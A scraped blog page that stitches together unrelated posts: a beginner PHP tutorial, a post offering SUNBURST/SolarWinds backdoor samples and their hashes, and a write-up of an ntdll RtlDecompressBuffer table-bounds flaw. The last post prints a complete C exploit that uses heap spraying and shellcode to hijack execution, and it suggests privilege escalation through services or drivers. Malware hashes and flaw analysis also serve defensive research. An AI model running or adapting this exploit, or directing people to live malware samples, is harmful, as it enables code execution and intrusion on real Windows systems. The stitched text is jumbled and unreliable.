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minuggar

Welcome to my 2nd tutorial of PHP and MYSQL. In the previous video I've discussed How to download and install a server PHP and also How to create databases and How to create tables in the databases in the form of rows and columns.

In this video I've discussed multiple ways to connect database with PHP such as by using variables etc. First of all you have need to install a cool interface software for coding. I suggested you to download any one of them such as Dreamweaver, Notepad++, Sublime Text Editor and Atom etc. I'm using sublime text editor in this series of tutorial.

Syntax of PHP

<?php

//type here the code

?>

How to save the PHP file

You should save your PHP file in the root directory of the server. In XAMPP the "htdocs" is the root directory of the server. In WAMPP "www" is the root directory. Now how to save the file?

Step 1:

Press CTRL + S button to safe the file.

Step 2:

Go to the server location where it has been installed. By default it is installed in Local Disk C. Got C drive.

Step 3:

Go to XAMPP directory.

Step 4:

Go to htdocs diretory.

Step 5:

Save a file there with extension ".php". You can create a different folders for different projects in htdocs directory. So first create the folder in htdocs and then save your files in the folder.

How to Run PHP Script

Step 1:

Open a XAMPP control panel and start Apache and Mysql services.

Step 2:

Open your web browser.

Step 3:

Type localhost/yourFolderName/yourFileName.php and hit enter. For example: localhost/myFolder/index.php.

Continue reading

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minuggar

2020-12-13 Fireeye
Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor

The Resurgence of Russian Threat Actor, NOBELIUM

Download (627.7 MB). Email me if you need the password (see in my profile)

Malware Inventory (work in progress)

Reference

I am sure you all saw the news.

Links updated: Jan 19, 2023

2020-12-13 Microsoft

Customer Guidance on Recent Nation-State Cyber Attacks

The Resurgence of Russian Threat Actor, NOBELIUM

Well, here are the Sunburst binaries.

Here is a Sunburst malware analysis walk-through video by Colin Hardy

https://www.youtube.com/watch?v=JoMwrkijTZ8&feature=youtu.be

Hashes

SolarWinds.Orion.Core.BusinessLayer.dll

Trojan:MSIL/Solorigate.B!dha

A Variant Of MSIL/SunBurst.A

SolarWinds.Orion.Core.BusinessLayer.dll

32519b85c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77

dab758bf98d9b36fa057a66cd0284737abf89857b73ca89280267ee7caf62f3b

eb6fab5a2964c5817fb239a7a5079cabca0a00464fb3e07155f28b0a57a2c0ed

c09040d35630d75dfef0f804f320f8b3d16a481071076918e9b236a321c1ea77

ac1b2b89e60707a20e9eb1ca480bc3410ead40643b386d624c5d21b47c02917c

019085a76ba7126fff22770d71bd901c325fc68ac55aa743327984e89f4b0134

ce77d116a074dab7a22a0fd4f2c1ab475f16eec42e1ded3c0b0aa8211fe858d6

a25cadd48d70f6ea0c4a241d99c5241269e6faccb4054e62d16784640f8e53bc

d3c6785e18fba3749fb785bc313cf8346182f532c59172b69adfb31b96a5d0af

0f5d7e6dfdd62c83eb096ba193b5ae394001bac036745495674156ead6557589

6e4050c6a2d2e5e49606d96dd2922da480f2e0c70082cc7e54449a7dc0d20f8d

CORE-2019.4.5220.20574-SolarWinds-Core-v2019.4.5220-Hotfix5.msp

d0d626deb3f9484e649294a8dfa814c5568f846d5aa02d4cdad5d041a29d5600

appweblogoimagehandler.ashx.b6031896.dll

c15abaf51e78ca56c0376522d699c978217bf041a3bd3c71d09193efa5717c71

TEARDROP

b820e8a2057112d0ed73bd7995201dbed79a79e13c79d4bdad81a22f12387e07

1817a5bf9c01035bcf8a975c9f1d94b0ce7f6a200339485d8f93859f8f6d730c

RAINDROP

be9dbbec6937dfe0a652c0603d4972ba354e83c06b8397d6555fd1847da36725

This is the compromised installer file ( was still on Solarwinds update downloads on Dec 14, 2020)

File size 419.76 MB

CoreInstaller.msi

ad2fbf4add71f61173975989d1a18395afb8538ed889012b9d2e21c19e98bbd1

2020-04-21 17:31:02

SolarWinds Orion Core Services 2020.2

{77E2D294-3D5C-4D93-ADF1-884CCEAD93B0}

File Version Information

Date signed 05:32 PM 04/21/2020

Signers

Solarwinds Worldwide, LLC

Symantec Class 3 SHA256 Code Signing CA

VeriSign

VT - 0 (Dec 14, 2020)

If you unzip, check

019085a76ba7126fff22770d71bd901c325fc68ac55aa743327984e89f4b0134 (36 detections , part of the IOC set)

SolarWinds.Orion.Core.BusinessLayer.dll under OrionCore

Related links

>>>ဆက္ဖတ္ရန္>>> >>

minuggar

Introduction

The RtlDecompressBuffer is a WinAPI implemented on ntdll that is often used by browsers and applications and also by malware to decompress buffers compressed on LZ algorithms for example LZNT1.

The first parameter of this function is a number that represents the algorithm to use in the decompression, for example the 2 is the LZNT1. This algorithm switch is implemented as a callback table with the pointers to the algorithms, so the boundaries of this table must be controlled for avoiding situations where the execution flow is redirected to unexpected places, specially controlled heap maps.

The algorithms callback table

Notice the five nops at the end probably for adding new algorithms in the future.

The way to jump to this pointers depending on the algorithm number is:
call RtlDecompressBufferProcs[eax*4]

The bounrady checks

We control eax because is the algorithm number, but the value of eax is limited, let's see the boudary checks:

int  RtlDecompressBuffer(unsigned __int8 algorithm, int a2, int a3, int a4, int a5, int a6) {   int result; // eax@4    if ( algorithm & algorithm != 1 )   {     if ( algorithm & 0xF0 )       result = -1073741217;     else       result = ((int (__stdcall *)(int, int, int, int, int))RtlDecompressBufferProcs[algorithm])(a2, a3, a4, a5, a6);   }   else   {     result = -1073741811;   }   return result; }

Regarding that decompilation seems that we can only select algorithm number from 2 to 15, regarding that the algorithm 9 is allowed and will jump to 0x90909090, but we can't control that addess.

let's check the disassembly on Win7 32bits:

the movzx limits the boundaries to 16bits
the test ax, ax avoids the algorithm 0
the cmp ax, 1 avoids the algorithm 1
the test al, 0F0h limits the boundary .. wait .. al?

Let's calc the max two bytes number that bypass the test al, F0h

unsigned int max(void) {
__asm__("xorl %eax, %eax");
__asm__("movb $0xff, %ah");
__asm__("movb $0xf0, %al");
}

int main(void) {
printf("max: %u\n", max());
}

The value is 65520, but the fact is that is simpler than that, what happens if we put the algorithm number 9?

So if we control the algorithm number we can redirect the execution flow to 0x55ff8890 which can be mapped via spraying.

Proof of concept

This exploit code, tells to the RtlDecompresBuffer to redirect the execution flow to the address 0x55ff8890 where is a map with the shellcode. To reach this address the heap is sprayed creating one Mb chunks to reach this address.

The result on WinXP:

The result on Win7 32bits:

And the exploit code:

/*     ntdll!RtlDecompressBuffer() vtable exploit + heap spray     by @sha0coder  */  #include  #include  #include   #define KB  1024 #define MB  1024*KB #define BLK_SZ 4096 #define ALLOC 200 #define MAGIC_DECOMPRESSION_AGORITHM 9  // WinXP Calc shellcode from http://shell-storm.org/shellcode/files/shellcode-567.php /* unsigned char shellcode[] = "\xeB\x02\xBA\xC7\x93" "\xBF\x77\xFF\xD2\xCC" "\xE8\xF3\xFF\xFF\xFF" "\x63\x61\x6C\x63"; */  // https://packetstormsecurity.com/files/102847/All-Windows-Null-Free-CreateProcessA-Calc-Shellcode.html char *shellcode =        "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"        "\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b"        "\x77\x20\x8b\x3f\x80\x7e\x0c\x33"        "\x75\xf2\x89\xc7\x03\x78\x3c\x8b"        "\x57\x78\x01\xc2\x8b\x7a\x20\x01"        "\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"        "\x45\x81\x3e\x43\x72\x65\x61\x75"        "\xf2\x81\x7e\x08\x6f\x63\x65\x73"        "\x75\xe9\x8b\x7a\x24\x01\xc7\x66"        "\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"        "\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"        "\xb1\xff\x53\xe2\xfd\x68\x63\x61"        "\x6c\x63\x89\xe2\x52\x52\x53\x53"        "\x53\x53\x53\x53\x52\x53\xff\xd7";   PUCHAR landing_ptr = (PUCHAR)0x55ff8b90; // valid for Win7 and WinXP 32bits  void fail(const char *msg) {   printf("%s\n\n", msg);   exit(1); }  PUCHAR spray(HANDLE heap) {   PUCHAR map = 0;    printf("Spraying ...\n");   printf("Aproximating to %p\n", landing_ptr);    while (map < landing_ptr-1*MB) {     map = HeapAlloc(heap, 0, 1*MB);   }    //map = HeapAlloc(heap, 0, 1*MB);    printf("Aproximated to [%x - %x]\n", map, map+1*MB);     printf("Landing adddr: %x\n", landing_ptr);   printf("Offset of landing adddr: %d\n", landing_ptr-map);    return map; }  void landing_sigtrap(int num_of_traps) {   memset(landing_ptr, 0xcc, num_of_traps); }  void copy_shellcode(void) {   memcpy(landing_ptr, shellcode, strlen(shellcode));  }  int main(int argc, char **argv) {   FARPROC RtlDecompressBuffer;   NTSTATUS ntStat;   HANDLE heap;   PUCHAR compressed, uncompressed;   ULONG compressed_sz, uncompressed_sz, estimated_uncompressed_sz;    RtlDecompressBuffer = GetProcAddress(LoadLibraryA("ntdll.dll"), "RtlDecompressBuffer");    heap = GetProcessHeap();    compressed_sz = estimated_uncompressed_sz = 1*KB;    compressed = HeapAlloc(heap, 0, compressed_sz);    uncompressed = HeapAlloc(heap, 0, estimated_uncompressed_sz);     spray(heap);   copy_shellcode();   //landing_sigtrap(1*KB);   printf("Landing ...\n");    ntStat = RtlDecompressBuffer(MAGIC_DECOMPRESSION_AGORITHM, uncompressed, estimated_uncompressed_sz, compressed, compressed_sz, &uncompressed_sz);    switch(ntStat) {     case STATUS_SUCCESS:       printf("decompression Ok!\n");       break;      case STATUS_INVALID_PARAMETER:       printf("bad compression parameter\n");       break;       case STATUS_UNSUPPORTED_COMPRESSION:       printf("unsuported compression\n");       break;      case STATUS_BAD_COMPRESSION_BUFFER:       printf("Need more uncompressed buffer\n");       break;      default:       printf("weird decompression state\n");       break;   }    printf("end.\n"); }

The attack vector


  This API is called very often in the windows system, and also is called by browsers, but he attack vector is not common, because the apps that call this API trend to hard-code the algorithm number, so in a normal situation we don't control the algorithm number. But if there is a privileged application service or a driver that let to switch the algorithm number, via ioctl, config, etc. it can be used to elevate privileges on win7

Basic HTML

Sunday, January 28, 2024

How To Connect Database With PHP | Cool Interface Software | Tutorial 2

Syntax of PHP

How to save the PHP file

How to Run PHP Script

Continue reading

2020-12-13 SUNBURST SolarWinds Backdoor Samples

Related links

Saturday, January 27, 2024

RtlDecompresBuffer Vulnerability

Read more